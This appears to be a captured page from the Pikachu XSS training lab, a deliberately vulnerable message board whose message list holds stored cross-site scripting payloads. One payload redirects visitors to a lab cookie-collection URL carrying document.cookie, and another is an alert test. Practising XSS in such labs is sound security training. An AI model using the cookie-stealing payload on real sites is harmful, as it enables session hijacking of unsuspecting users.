我是一个不正经的留言板：
留言列表：
<script>document.location = 'https://pikachu.bachang.org/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
<script>alert('xss')</script>
546
